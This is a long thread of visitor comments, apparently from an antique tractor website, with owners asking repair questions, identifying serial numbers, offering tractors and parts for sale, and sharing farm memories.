Brooks Baker wrote on Monday, July 15, 2013 (PDT):HELP! After having the 160 for over 40 years, the conical rubber washer at the base of the cartridge oil filter finally failed. I cannot find anything to replace it and no spin on conversions seem to work. I know this has happened to someone else, so what is the solution Thank you!
Dave Baxter wrote on Friday, July 12, 2013 (PDT):I just purchased a Leader tractor. I can t find the serial # where could I goo to get information about this tractor What was the original color
Dave Baxter wrote on Friday, July 12, 2013 (PDT):I just purchased a Leader tractor. I can t find the serial # where could I goo to get information about this tractor What was the original color
Rolfe Sick wrote on Friday, July 12, 2013 (PDT):Recently purchased a 39 B and must replace a front tire. Having trouble getting rim off axle. Don t want to break this. Removed grease cup, cotter pin, and threaded nut. Can see a bearing race and I would think this should now slide off. Very firm. Pound it off or am I missing something Thanks, Rolfe
Cherika Williams wrote on Wednesday, July 10, 2013 (PDT):I know a guy that has three of these tractors. Its quite amazing. Three different years and three different engines. One even has an oiler. We take them to local shows and the attention they grab is astoshing!
Dave wrote on Wednesday, July 10, 2013 (PDT):I am trying to find the value of a 1923 McCormick Deering 1530 Steel Wheel Tractor. Any suggestions
David wrote on Wednesday, July 10, 2013 (PDT):I have a 1940 H with a one wheeled front end can I switch Front ends. I would like to put a 2 wheeled front end on it.
Robert Denhardt wrote on Sunday, July 07, 2013 (PDT):Wanted to buy one of the original three LA1 Case tractors with GM 3-71. They were built in 47-48 by the GM Engine dealer in Wichita, KA. They were first used on a wheat farm south of Lamar, CO in 48-49. Tel 703-273-4291.
Tom wrote on Friday, July 05, 2013 (PDT):I have a AC D15 series 11 gas head needs replaced. Will an AM5481 head work with an AM5253 Head 160cid engine
Tom wrote on Friday, July 05, 2013 (PDT):I have a AC D15 series 11 gas head needs replaced. Will an AM5481 head work with an AM5253 Head 160cid engine
gregg surma wrote on Monday, July 01, 2013 (PDT):I have a 671 sos and cannot activate the pto will not pull out and cable is not froze up and all transmission speeds are working. Can you tell me what may be the problem, Thanks
Jason wrote on Tuesday, June 25, 2013 (PDT):yes i have a toy 30 for sale contact me
Rocket wrote on Monday, June 24, 2013 (PDT):Grew up on one I m 60 and remember when I had to stand to operate it
totfix wrote on Monday, June 24, 2013 (PDT):IH 2276 .engine;BD144A frontloader;40-1.backhoe;wain roy B1 i need seal/gasket for the backhoe questions;what is the difrens beetwin IH2275 and IH2276 who have spare parts in this wold. to the tractor have a nice day.
Brian wrote on Sunday, June 23, 2013 (PDT):I have a 1954John Deere Crawler MC looking to sell. Located in upper Wisconsin . Please contact me at bkiller at netnet.net
larry vince wrote on Saturday, June 22, 2013 (PDT):just bought 66 oliver and looking for complete seat assembly from the deck up. steiner lists replacement parts but not the complete frame assembly and seat.
Dick Ogden wrote on Friday, June 21, 2013 (PDT):I have a Parts book and operating directions,for a A C model B . It is in exellent shape we moved a year ago and I found it and would like to sell it. 50.00 .Sold the B 35 years ago.Contact by E-Mail
Dick Ogden wrote on Friday, June 21, 2013 (PDT):I have a Parts book and operating directions,for a A C model B . It is in exellent shape we moved a year ago and I found it and would like to sell it. 50.00 .Sold the B 35 years ago.Contact by E-Mail
G Sleight wrote on Friday, June 21, 2013 (PDT):The M5 that was pictured did the person get the 2500 or what did they get. Have an 1962 MM M5 and want to know what it value is. Use the tractor every year.
G Sleight wrote on Friday, June 21, 2013 (PDT):The M5 that was pictured did the person get the 2500 or what did they get. Have an 1962 MM M5 and want to know what it value is. Use the tractor every year.
Peggy Leuthard wrote on Thursday, June 20, 2013 (PDT):I have an Allis B with 6 woods belly mower for sale - #3,500, Well maintained, good condition, runs great.. contact Dennis at 312-805-5438.
Gary Allason wrote on Tuesday, June 18, 2013 (PDT):Peter, Your tracks are coming off because either your bushings, pins or drive sprockets are worn. Probably all three unfortunately. Look at your Sprockets, does the right side of your teeth, if the tooth is at 12 o clock have a larger radius than the left that is the side that drives the crawler forward. if so the sprocket is worn. Try backing up your hill. if the tracks stay on that is because there is less use and thus less wear in reverse over time. Your tracks have a pin and a bushing between each link. Idealy, the bushings take the wear and are replaced before there is damage to the sprockets. once the bushings wear out the sprockets contact the pins and both start to wear, . When that happens all three will need to be replaced. the fact that your tension adjustment won t take the slack out of the tracks points to this condition. if your bushings are just starting to wear through, it is possible to rotate them 180 degrees. but that wont help if the sprockets and pins are worn too. Google CRAWLER TRACKS PINS AND BUSHINGS and your will find a lot of good information. Use Google to find a shop that does pin and bushing replacement. You can find used drive sprockets from repitable parts dealers on line. Avoid the advice of reversing the drive sprockets, swapping sides , if you replace your bushings. It s true that doing that will put the side with less wear on the forward side and will last quite a while. the down side is that if you have put new bushings on it will begin to prematurely wear those out every time you back up. If you can rotate rotate your bushings, you might be OK to swap sprocket sides. Good luck.
Neil Adams wrote on Monday, June 17, 2013 (PDT):Dear Bill Gaul; The 300 U had two manual steering boxes that were standard on that tractor. mine was broke when I bought it and I had to replace it. The one earlier model had a bad steering box and International replaced it with a better one. They are hard to find but you might try the tractor grave yards on line. One I would suggest is McFaddens in Sharon Springs, N.Y.
Van Cardaras wrote on Saturday, June 15, 2013 (PDT):I have a very nice. Ford 541 Workmaster that I would like to sell. I don t use it and could use the space. It looks and runs great. Please call 740-216-0452. Asking 5500.00.
Alan T.Lewis wrote on Wednesday, June 12, 2013 (PDT):Hello John Your note about the Case model 520 that you have is just an industrial version of the 500 , that also accounts for the different size tyres etc etc. Regards Alan T.Lewis Christchurch NEW ZEALAND
Robert Tevault wrote on Wednesday, June 12, 2013 (PDT):I hope some on can help me. My friend in Ill. has a Masey- Harris 20. The engine is a Hercules UI think 1XB. It has a p.t.o. on the left and the govenor driven from a double gear. He can t seem to get the govenor to work.I haven t seen the tractor but what hes says it has to be a Hurcules engine with an updraft carb.on the left side.I do not have any repair manuals and he says he does. He has been looking high and low for a replacement govenor but hasen t found one yet. Because he has stated the P.T.O. and govenor are being run of of the same gears I wonder if the have a special setup and he has the wrong type.Any help from the group would be better than none. Thanks robert Tevault
Harry Jackson wrote on Monday, June 10, 2013 (PDT):I inherited a 1939 AC Model B, and would like to restore it. It isn t in bad shape, it was restored in about 1984, but needs it again, and I intend to do it right.....100%. I would like to eventually use it to mow It has a Wods, 48 belly mower and cultivate, etc. So I am looking for implements to use with it. Any help on restoration products or sources would be greatly appreciated. All I know so far is that it needs the oil bath breather insert replaced, probably a carb, or at least rebuild, and a radiator....
James L Pitcock wrote on Sunday, June 09, 2013 (PDT):I added a quart of transmission fluid to a full tank of gas to lubricate the valves on my 1940 9n for tractor, is this a good idea Thanks! James.
Richard Berglund wrote on Friday, June 07, 2013 (PDT):I have MH 22 4 sale, with some clean gas and a good battery it will start and run. It don t look like much but it is driveable, steering needs some work. back tires are good they still hold air,It has a front end loader it needs a lot of work, I don t want to part it out just gone. I live in Idaho , If you want it, come get it bring cash e-mail for price. I can send pictures.
Mike Gladu wrote on Friday, June 07, 2013 (PDT):Just brought home a 420C in very good condition. Starts and operates perfectly. Bought it from an older gentleman who had this 45 years, and it has never spent a night outside in all those years. He recently put on new chains, sprockets, rolls and idlers. Also rebuilt the engine, brakes and clutches. Paid 3,000 and a promise to park inside every night. Bought this to work around my property. I have been in the construction business many years and owned many new large and small dozers over the years, this will the keeper .
Pete Geremia wrote on Tuesday, June 04, 2013 (PDT):I keep throwing tracks when on a slight incline. Have adjusted track tension with no luck. Any Ideas would be appreciated.
Marilyn Anderson wrote on Monday, June 03, 2013 (PDT):I have a replica of a childs 3+ years old 8-16 International kerosene tractor. Scale model by Quality metal toymakers. is this worth anything Original bar code and label is 27.99. Model 1-16 made of die-cast zinc and represents the International 8-16 IC Kerosene Tractor. Still in original box.
Carl Clark wrote on Sunday, June 02, 2013 (PDT):How to rebuild and adjust disc brakes on a 1941 sc case tractor
Susan N Ron wrote on Wednesday, May 29, 2013 (PDT):We just bought a International Harvester tractor and believe it is a 1937 with a narrow front end. We don t know much about tractors, but am confused how Farmall and International Harvester is one and the same Any idea how we can find out its value Thank you in advance.
Don Wenzel wrote on Wednesday, May 29, 2013 (PDT):Does anyone make and adapter kit for attaching a rotary mower to a 1952 orchard model John Deer The PTO and hydrolics work.
john schacherer wrote on Tuesday, May 28, 2013 (PDT):does an f14 heisler overdrive have a vent or relief valve mine has a plug with a hole and a nail in the filler hole.when i hit a bump, oil comes out . can i put solid plug in
john schacherer wrote on Tuesday, May 28, 2013 (PDT):does an f14 heisler overdrive have a vent or relief valve mine has a plug with a hole and a nail in the filler hole.when i hit a bump, oil comes out . can i put solid plug in
Don Bradley wrote on Sunday, May 26, 2013 (PDT):I have a 1974 Farmall cub with plow, cultivator, disc, back blade and bushhog. It has the fast hitch and is in good condition. The splines on the pto drive shaft are worn and this needs to be replaced. I am thinking about selling all because I don t use it very much anymore. If you are interested contact me at dbradley46 at cox.net. Asking price is 3500.
John Goodell wrote on Sunday, May 26, 2013 (PDT):Hello, I was wondering if anyone had the Center member and the Front support, and/or a backhoe for a 1955 Fordson Major Diesel that they would like to sell If you do please call me at 208 587-7647. Thank you and have a most wonderful day.
Mike Thompson wrote on Saturday, May 25, 2013 (PDT):I have a early 60 s model Ford 2000 Super Dexta for sale. Tractor has been parked for a couple years and not used. The tractor has a blown out rear tire and motor is locked; tractor was running when it was parked. It would make a excellent tractor to restore or a parts tractor. Tractor is in pretty good condition. Email if interested.
John levy, Western Australia. wrote on Saturday, May 25, 2013 (PDT):If anyone is travelling to Western Australia I recommend that they visit the Dardanup Heritage Park south of Perth. There are many types of tractors from Ransomes up to D8s and many in between. All have been completely renovated, painted and in working order. A number of trucks have also been renovated and in working order. They are all under cover in huge sheds and look like new machines.
Bill Gaul wrote on Wednesday, May 22, 2013 (PDT):My International 300 utility with manual steering broke two teeth off the right side gear that is in the steering box. Any idea where to get one or other steering parts Thanks Please email me. william.j.gaul at usace.army.mil
Mary Ann Franks wrote on Wednesday, May 22, 2013 (PDT):Where can I find a service and parts manual for a Case SC 1951 hand clutch. Thanks for your help.
Hank D-NM wrote on Saturday, May 18, 2013 (PDT):My Super C just cracked the block behind the carb, over the winter. I thought I had drained everything beforehand. I have read this is a problem with this tractor. Can it be welded or the block replaced easily Please advise. Hank D, NM
Barbara Kasmiski wrote on Saturday, May 18, 2013 (PDT):does anyone know where I can find a cockshutt 30 1950 toy tractor my husband restored the big tractor, ertl took measurements of it, we had a 1/16th model, and after my husband died, it was missing. I would like to replace it. thank you.
billy joe wrote on Saturday, May 18, 2013 (PDT):how do you check the hydraulic fluid for the lift in the back of a 1958 fordson dexta.
jackie r hodges wrote on Friday, May 17, 2013 (PDT):i have a straight axle wheels to a case tractor on the hub it has case 130 r
George Nolte wrote on Wednesday, May 15, 2013 (PDT):I will never forget the day my dad brought home a brand new John Deere G I was an Iowa farm boy of 6 years old and can still remember the smell of the paint and looking down the hood with those massive stacks. I now own a fully restored better than new 1951 G. Just sitting on it takes me back 64 years. It is a blast to take to shows and parades and have people give it the thumbs up and comment how good it looks and sounds. The sound of that mighty 413 cannot be duplicated Love the G
Brian MacDougall wrote on Wednesday, May 15, 2013 (PDT):Looking to purchase a John Deere Crawler. I live in Maine and very hard to find. Any advice on where the best place to look for one
Mark wrote on Tuesday, May 14, 2013 (PDT):I have a 1940 case tractor for sale, Not running but body is in nice shape
Matt wrote on Tuesday, May 14, 2013 (PDT):I have a Farmall A that has always been a workhorse. The governor spring broke, I replaced it and now, it just has no power. The governor speed lever just flys forward, but the power isn t there. What makes the governor speed lever fly forward
S. Schwartz wrote on Tuesday, May 14, 2013 (PDT):Bought some property and found an old International 300 Utility tractor sitting among the bushes. It has a bucket attachment in front and what looks like a box of weights in back. It makes for a unique lawn ornament. I have a photo but can t find a place to post.
sheila wrote on Saturday, May 11, 2013 (PDT):What site can i see online of diagrams of a 1963 560 diesel international tractor.. I need to see a blueprint like diagram of motor mounts for this tractor..
Chris Grant. wrote on Thursday, May 09, 2013 (PDT):I have a 1917 Titan , but it s a model/toy which is very strange that a company should reproduce this type of vehicle as a toy . Regretably I cannot find out who manufactured this tin model/toy , I bought it on Ebay because it s remarkably ugly , quite large and such an odd ball , that s why I love it.
hennie stokesh wrote on Monday, May 06, 2013 (PDT):I want to know if some body can tell me where are the batteries normally fitted on a Cockshutt model 30. Thanks forhelp.
dale wrote on Sunday, May 05, 2013 (PDT):john it s possable the mower is in a bind. unhook the pto shaft from the tractor. this should fix the problem with the tractor...b dont try to force the pto lever on the tractor to the off position...may brake the shifting fork.
Jack Wilkinson wrote on Sunday, May 05, 2013 (PDT):I acquired a regular that used to belong to my grandparents. wanting to know what year it is, serial #28634
Loree wrote on Wednesday, May 01, 2013 (PDT):I have an old Ferguson TO-3551,that is in bad shape. What is the worth of this tractor
JOHN ROBERTS wrote on Wednesday, May 01, 2013 (PDT):I have super major 1964, 220 c.i.d. diesel. This tractor was made 4 years 61-64. agriline and Yesterdays tractors still have parts. I am looking for engine block, short engine, etc. for mine. If you have a tractor, whole or parting out,or just need my source infomation for parts. please email of call. 520 586 2022
John Kattner wrote on Tuesday, April 30, 2013 (PDT):I have a 1943 Case VAC tractor that I can t get started since it ran out of gas last summer 2012 I checked the timing , removed the gas tank and cleaned it out, replaced valve under the gas tank,rebuilt the carburetor,installed new plugs,coil,distributor cap,rotor,points, condensor; replaced line from gas tank to carburetor. What else could be done or replaced to get it to start
JOHN BUTLER wrote on Monday, April 29, 2013 (PDT):Looking for a McCormick Deering B-87 two-way moldboard plow for a 1946 B-Farmall or what ever plow was original equipment for a B , or any type one-bottom trip plow that can be pulled by the drawbar of the B tractor. Call 515-371-1583
DOUG BRIGGS wrote on Monday, April 29, 2013 (PDT):What was the HP rating for the case SC tractor, My Dad had one in the early 1950 s. It was a nice tractor.
John Hancock wrote on Sunday, April 28, 2013 (PDT):I posted earlier comment about hydraulic problem.The intake filter is on the right side of transmission. Sorry for confusion. It has been 30 years since we had tractor. Hope this helps.
John Hancock wrote on Sunday, April 28, 2013 (PDT):I noticed several comments about hydraulics not working.There is an intake oil screen that plugs easily on tractor we used to have. It is located on top of transmission on left side and has a cap with 4 nuts holding it. The screen is a long plastic tube with fine mesh.Pull it out. Soak in gas and blow out gently.Reinstall and see if that helps. I had to do that on a regular basis.
Dawn Heck wrote on Saturday, April 27, 2013 (PDT):Hey all, my husband and I just bought a 1955 Oliver Super 77 and it is supposed to be a diesel engine but the previous owner replaced it with a gas. We want to get it back to original and wanted to know where to find a diesel engine to replace the gas. We are new to this but after attending a few antique tractor pulls my husband and I fell in love so this is our new project. Any help would be greatly appreciated.
Dave Cambray wrote on Friday, April 26, 2013 (PDT):I have in the uk a 1928 20-30 model w. i would like to know what the correct mag would be and where to get one from and also how i could perhaps trace its history. thank you all in advance.
robert harrison wrote on Friday, April 26, 2013 (PDT):can anyone out there help me i would love to find if the fordson major my grandad bought new just after the second world war still exists,my late father sold it in 1974 in the farm sale when he retired,i belive this tractor was restored for shows some years ago the registration was GAA 822 i look at my dad on a photo driving that tractor which is on the wall in my home,any info would be fantastic,thanks again.
Dave Cambray wrote on Thursday, April 25, 2013 (PDT):I have in the uk a 1928 20-30 model w. i would like to know what the correct mag would be and where to get one from and also how i could perhaps trace its history. thank you all in advance.
John Levy wrote on Thursday, April 25, 2013 (PDT):Before I was married in 1961 we had a Massey Harris 55K on two separate properties. We part filled the rear tyres with water to give them extra grip and built a timber and Masonite canopy on it. We pulled an AL harvester with it mostly as well as a Claas header in the WA wheatbelt. Being young and inexperienced at that time I inadvertently removed the radiator cap in above 40 Celsius whilst harvesting. I avoided being scalded though. On the second property we just used it as a hack as we had much bigger tractors there. I am now 74 and miss those days.
Levie Vidrine wrote on Wednesday, April 24, 2013 (PDT):I am looking for info on a MH-Colt, is it a replacement to 22 or Pacer
Julie wrote on Tuesday, April 23, 2013 (PDT):I have a 1930 s Case Model L tractor for sale and I can not find any for sale to find a price. Anyone have any info on this, I would appreciate it.
EddieBrowder wrote on Monday, April 15, 2013 (PDT):I bought a T20 1935 under carnage great was running 5 years ago. But I need hood grill pallets to make original complete it has wrong parts for what I,need to be original I want to restore this tractor origins. If any one can help email please.
James J Knight wrote on Monday, April 15, 2013 (PDT):I am looking for a backhoe attachment for a Massey Ferguson, MF200 crawler
John wrote on Sunday, April 14, 2013 (PDT):I have a farmall H that seems to be locked between gears in the field with a rotary mower attached. It starts with the clutch in but when I let out the clutch it stalls. What might be wrong, and what can I do
Tom Hohlbein wrote on Saturday, April 13, 2013 (PDT):I am interested in buying a front end loader for my D-15. I would like one that will work hydraulically. one with a bucket. I ll have to install a pump. Thank you Tom in Michigan p.s. a used loader
Charles Ellis wrote on Thursday, April 11, 2013 (PDT):I have a M61T now and have had others these tractors run till you forgrt how to fix them. I need parts for this old tractor, mostly generator or electrical, simple things. where do I go for these things
Tom wrote on Tuesday, April 09, 2013 (PDT):I have a nice original R I will sell for 5800.00 runs well great restore or run the way it is.989-550-8228 straight tractor
Kelly Dragoon wrote on Friday, April 05, 2013 (PDT): I was doing some metal detecting at a old homestead and found a badge of some sort. Looks about the size of a belt buckle. Has a picture of a old metal wheeled tractor. says farmall on the tractor and a stamp of mccormick deering and a little more writing that I can t make out. It has three numbers and a letter stamped on it. 998 B. Does anyone know anything about this. Its made of something thats not steel. Magnet won t stick to. Heavy.
john proctor wrote on Thursday, April 04, 2013 (PDT):I have a 1956 oliver super66 diesal tractor narrow front end original runs and drive. What s it worth. Needs paint all the steel is good
Patty wrote on Tuesday, March 26, 2013 (PDT):Have an Oliver 1900, series B 4 wheel drive diesel, just rebuilt after a forest fire, larger tires on the front than the one in this picture. Am wondering what this tractor s value is for insurance purposes
Buddy wrote on Monday, March 25, 2013 (PDT):have a 44 massey harris tractor need to know how to pull the brake hub apart. the brake drum it is on tight it was held in by a snap ring. how do you get the drum off to replace the ring gear housing beargings. Thanks
Lester Qualls wrote on Monday, March 25, 2013 (PDT):trying to find year of our tractor,the power lift control is on the steering column
Ken Stephens wrote on Sunday, March 24, 2013 (PDT):I have a 50 z but grew up on a U. Dad said it would burn 40 gal a day or night. Sometimes we would plow all night. What a machine! Had a UTU about 4 years ago but was stolen in Adams ,TN. It was very complete. i would like to think it hasn t been crushed. My nephew stole it. If anyone has knowledge of this I would offer 500 and a good bbq sandwich. Th boy will regret he was ever a part of my family. He gets to deal with both his grandfathers and God over this. the 500 stands good for now. I love reading all these comments as they bring back good memories. I need some tires for the Z I have now. 12.4x38 if anyone has for sale.
Lem Hardy wrote on Saturday, March 23, 2013 (PDT):I am working on a Leader Tractor and I need a good part number for the Driveshaft Oil Seal. If anyone has a number I would appreciate it.
Dennis Guilford wrote on Tuesday, March 19, 2013 (PDT):In need of a Clutch Release Bearing Lever for an Oliver Tractor Super 77. It may be known as a clutch Rod. Call 419-542-7881
Robert wrote on Saturday, March 16, 2013 (PDT):Recent purchase was a 1966 International cub tractor. Serial Number 227656J. Looking for information that explains the difference between the farmall cub and the international cub other than color
Jeff Blaney wrote on Monday, March 11, 2013 (PDT):These variants were sold through Waterloo Mfg. of Waterloo Ontario, Canada. They produced steam traction engines but later marketed various American gas tractors in Ontario such as Eagle, Rock Island, and Minneapolis Moline. Early MM models that were marketed included the KTA pictured above , FTA and 27-44.
paul wrote on Saturday, March 09, 2013 (PST):i have a ford 4000 mid sixtys i think selectospeed had work done on tractor and ran fine for a while now when inching pedal is released it will not go in gear but will go in and out of gear when move pedal in and out several times any help would be appreciated thanks paul
charles kyle wrote on Saturday, March 09, 2013 (PST):I have 1952 case that run great,then one day seemed to vaper lock,cant get it started back.tired of messing with it ,would be ideal for restoration..if interested call 502-827-1727 will sell cheap!!!
Randy Lafary wrote on Thursday,Febuary 28,2013 wrote on Thursday, February 28, 2013 (PST): I just purchased a 47 44-6 massey and a 101 senior both have a six cylinder contineals. The 44 looks and runs very nice , and the 101 is a 45, I,m rebuilding it. I love old tractors. vea six cylinder contineals. The44 runs and looks nice,I,m
Mark A. Dotts wrote on Thursday, February 21, 2013 (PST):We have what we believe is a 1928 or 1929 JD GP It has the mechanical lift gearbox, PTO,original PTO driven mowing machine, and water injection. I need info i.e.pictures on the linkage from the mechanical lift to the mowing machine and so on.P.S. the tractor was built in Iowa can t remember the city
Paul Fett wrote on Monday, February 18, 2013 (PST): I have a 1953 Case SC wide front, foot clutch serial number SC8031672 which I am in the process of restoring. Just got all the engine parts I needed and will start rebuilding the engine soon. I am waiting to find out if that tractor came new with a mageto or distributor
Dave Van Horn wrote on Saturday, February 09, 2013 (PST):I have a sampson tractor located in a field in oklahoma, wheels are good tank is there but rusted some parts missing. Is any one interested.
Eugene Chiavario wrote on Saturday, February 09, 2013 (PST):Would anybody know how I could track down this tractor; SC Tractor serial # 5212112SC Thank you for any help you can give me. This was my father-in-law s first tractor.
mac overholt wrote on Wednesday, September 12, 2012 (PDT):I have h model has benn restored, bought it from the man that bought it new ,in1942 have all paper work , i would like to put a three point on it dose anyone have a book on this and where can i get the parts,
MAMALIS D COSTANTIN wrote on Wednesday, September 12, 2012 (PDT):Iam 64y/old.I am meccanical ingenier and i am workin till now as director for a big mattalurgical company.But i love tractors because i cam by agricultur fammily.So i start to drive at one massey-harris 44k benzin.On 1955 my father and my ungle left 44k and buy one M-H 745 But make in England.I love old tractors and specialy M-H 44 744 745 55 JOHN DEER B And CASE 500 And 600 because i was living whith those tractors in ours farm in greece when i was young.-
Eamon Tobin wrote on Monday, September 10, 2012 (PDT):I hAve an 1983 Bray Industrial Loader,which has been out of action for the last few years,They have long gone out of Business,but could anyone guide me into getting it up and running again,id really apppreciate all suggestions
Rachel Vogt wrote on Friday, August 17, 2012 (PDT):I am looking for the shift pattern to a 1929 22-36. We know where reverse is but all the forward gears seem to be about the same.
wayne tanner wrote on Sunday, August 12, 2012 (PDT):I have a 1930 G-2 15-25 Rock Island repainted new decals, and interested in selling it. runs great and have run my threshing machine with it and have plowed with it. ser.# 100085. I know they aren t real common therfore of more value then 10-20 mccormick or tractors like that.If intrested or know someone that is contact me.
Billl Wood wrote on Monday, August 06, 2012 (PDT):My father bought an Oliver 70 Row Crop in the late 1930 s and we used it until 1948 when we quit farming It had four speeds forward and one reverse..had skelton steel wheels on the back and solid steel in front. We also had the Oliver cultivator that were easy to attach and use. No electric start had to crank it. During the war years I spent many hours on it..we could run against the Allis Chalmers, John Deere s and Farmall s, my only complaint was the steel wheels gave a pretty rough ride at times and limited your use of black top and oil roads. All in all I really liked the machine. Does anypone know where I might find pictures cira 1937-38 I would like my children to see what life was like in those days
mark d smith wrote on Tuesday, July 31, 2012 (PDT):need info on case model tractors i think it is a 300 or 400 series
robert bean jr wrote on Saturday, July 28, 2012 (PDT):I would love to talk to someone that knows alot about a farmall A tractor, I got a 1944 farmall A andit ran as new, but i let it run out of gas and it hasn t hit a lick sence, clean gas glass bowl, clean plugs- has blue/white spark, can choke for 3 or 4 rounds and will wey plugs , check compression - 90 to 108 psi....please somebody tell me what is wroung! A Big Thanks...have a bless day
larry dufrene wrote on Sunday, July 22, 2012 (PDT):how much would it cost to rebilt an injector pump on a 4 cylinder ford diesel tractor between 1962 and 1965 i got diesel leaking into the engine
Jim Indelicato wrote on Saturday, July 21, 2012 (PDT):I graduated h. s. in 1961 That sumer Iran a new 830 John deer ,Iam almost sure that it was agas tractor. Since then someone told me that they didn t make a gas 830 I would like to know if I was mistaken. I also think this tractor had a narrow frontend .Please let me Know or better yet send a picture. Thanks
John Joynt wrote on Tuesday, July 17, 2012 (PDT):I have a 1948 Case LAI tractor I believe it has a wet clutch which I am not familiar with, could someone give me any information they may have in order for me to get it repaired .Thanks
G. Clarke wrote on Sunday, July 15, 2012 (PDT):I have a MM U parts tractor for sale near Calgary Alberta widefront end 39 tires 35.00
Dwaine wrote on Tuesday, July 10, 2012 (PDT):Hi I own a 1949 cub with belly mower. When I engage the pto it jumps out of gear. I have replaced the pto bearing, pto shaft, pto clutch and pto engaging lever, still jumps out of gear. I would appreicate any suggestions, I am getting really frustated. Thanks
Jon wrote on Monday, July 09, 2012 (PDT):Has anyone else heard of a WD - WD45 crossover model I have a 1953 wd-wd45 crossover ive been told in early 1953 between serial number s ; WD-131243 and WD-146607 they produced a tractor with parts from both the wd and wd45. I acually owen a wd-wd45 with a serial number in the middle of the two listed above. Does anyone know where i could find either parts or parts tractor in that serial number series I may be interested in another running one in that series.
baldwin ternes wrote on Sunday, July 08, 2012 (PDT):I need 2 rear rims for a LA case tractor
Mike Monnin wrote on Tuesday, July 03, 2012 (PDT):My Grandpa FJB had 2 WD 45 Allis Chalmer tractors and did all of his farming with them. I loved the tractor and really enjoyed the Hand Clutch and the great way it drove! Give me AC orange and forget about the Green Ones !!
gilbert Pargmann wrote on Monday, July 02, 2012 (PDT):I am looking for a differential for a cub tractor and can t find one. All I need is the box. Some bolt thread sockets are broke out and differential is broke out. where can I look
Chuck in Wi. wrote on Saturday, June 30, 2012 (PDT):1948 pony parts tractor. Metal parts all there,some motor parts, etc.
Duaine Flanders wrote on Wednesday, June 27, 2012 (PDT):I need a 24 inch rim for a 22 MH tractor can you help me 320-760-2820
steven m. heslop wrote on Wednesday, June 27, 2012 (PDT):i have a 1938 oliver 70 that i pull,i have over-hauled it several times,but the last problem i come across was--very little or no oil pressure.could not understand why..plasti-gauged the rod-bearings,added a different oil pump,and still nothing.then i found a 15 16 plug just under the oli pressure line on the right side of the block and found this is where the pressure is regulated from.i cleaned it all up and added some more spring to it and wa-la,i have oil pressure,cant wait to pull.1-913-609-4473--cell
Larry Paisley wrote on Tuesday, June 12, 2012 (PDT):I Have a 1948 M-H Pony Tractor, S/N; PGS 1455. It is complete and running. There is a #801 Plow Assembly, a #40 disc Harrow, a #40 Field Mower w/5 ft. Bar, a PTO pulley attachment, a draw bar and other miscellaneous parts. its condition is GOOD. Am asking 1,500.00. Phone; 916/687-6854, Sacramento, Ca.
brandon wrote on Thursday, June 07, 2012 (PDT):i have a farmall super c serial on seat toolbox is model fc serial#110983 engine serial# 354898R1 cylinder head serial # 251172R1 my question is this a super c block and is the head a super c head and also there is no water pump so is this a super c tractor or just a regular c
Jim Chaplin P.O. Box 70, Fort Qu Appelle, Sask. Canada wrote on Tuesday, June 05, 2012 (PDT):looking to talk to someone that can help figure out what unit I have and dignose problems. I will call back to discuss if you can send phone #. Thanks Jim Chaplin
Dave Cushway wrote on Saturday, June 02, 2012 (PDT):I have a 1945 Cockshutt 70 tractor for sale. I am open to offers. The tractor is in Ymir BC, Canada.
Dennis wrote on Tuesday, May 29, 2012 (PDT):Lift arms will not lower on series 4 17 any ideas would be of help
rex smith wrote on Tuesday, May 29, 2012 (PDT):you can buy most everything for an f-20 tractor, just look at farmall shows all over , they have parts new rebuilt, and aftermarket parts i own four f-20 a 38 and 3 39s
John Pfennig wrote on Tuesday, May 29, 2012 (PDT):Do you still have this tractor I know helmuth had a large number of tractor s he had restored at Great Grandpa John Pfennig s home, I haven t been up there in a number of years. Do you know if he is still up there and what he is doing with all those tractors
paul jackson wrote on Sunday, May 27, 2012 (PDT):ford super dexta 3 cylinder perkins with simms p4588 injector pump acted like it was running out of fuel died will not start or even try with starting fluid has new fuel lift pump help is needed
Linda Bufford wrote on Sunday, May 27, 2012 (PDT):mary harris wrote on Friday, May 25, 2012 PDT ; does anyone know the exact year of this farmall m tractor with this serial # FBK208533 let me know asap. YOU HAVE A 1949 TRACTOR.
mary harris wrote on Friday, May 25, 2012 (PDT):does anyone know the exact year of this farmall m with serial #FBK208533X1.
mary harris wrote on Friday, May 25, 2012 (PDT):does anyone know the exact year of this farmall m tractor with this serial # FBK208533 let me know asap.
Bob Todd wrote on Wednesday, May 23, 2012 (PDT):I have a Massey-Harris 22GR for sale. May need carb work. Good restorers project. Make offer.
Ray McMullen wrote on Tuesday, May 22, 2012 (PDT):I am looking for a elwood transfer case or parts for 97 massey fergson tractor.
Dick Curwin wrote on Monday, May 14, 2012 (PDT):My Mongomery Ward General by Avery/Cletrac stopped running. Investigation showed BOTH contact points had become seperated and were laying on the bottem of the Mag. Do I need a new mag or will new points solve it.
Lloyd Sorlien wrote on Wednesday, May 09, 2012 (PDT):I still have a wd45. runs good. we use it in tractor pulls. It is all stock but pulls good. When we bought it it was our main tractor. We said we had the world by the tail. Pulled a 3=14 mounted plow in 3rd. gear most of the time
Curt Foley wrote on Saturday, May 05, 2012 (PDT):I have a 1900 Oliver tractor that I am looking to sell. Works extremely well. Currently has a bucket and grapple on it. Has the 453 Screamin Demon diesel engine with front wheel assist. If interested, please contact me at 651.280.8226 Perfect tractor for someone who wants to restore.
Martin Kandell wrote on Friday, May 04, 2012 (PDT):Say, would anyone happen to know if there s any Oliver tractor and implement shows anywhere in Michigan, as I would be interested in attending such a show. Thanks. Martin
Farmer bill wrote on Monday, April 30, 2012 (PDT):Need a wiring diagram for wd. anyone
Alan Brandle wrote on Sunday, April 29, 2012 (PDT):I have a 1927 Rock Island Model F tractor. I am looking for a belt pulley, The part NO. is TF-510 , according to the manual. If someone needs pictures of the manual i would be happy to send.
Brad Dodson wrote on Saturday, April 28, 2012 (PDT):I am getting ready to pick up a Case size L #L329967. Do you know the year and the weight of this tractor
don knight wrote on Saturday, April 21, 2012 (PDT):does anyone now about how many wd single front wheels were made.I have one but dont know if its worth restoring
delbert wrote on Saturday, April 21, 2012 (PDT):i purchased a dirt blade for a ferguson t-20 how can i find more about this and other attachments
delbert wrote on Saturday, April 21, 2012 (PDT):i purchased a dirt blade for a ferguson t-20 how can i find more about this and other attachments
Frede Coburn wrote on Friday, April 20, 2012 (PDT):I have a Harry Ferguson ser# To-136094 moter# Z129377217 What year is this tracto
Sharon Durham wrote on Friday, April 20, 2012 (PDT):I am Sharon Durham an i am in Illinois. I need these parts where can i find them or does any one have any of theses parts. Re wheel castings with tires an rims or with out please contact me at 309 275-9474 an i work for a farmer his name is Beefy.
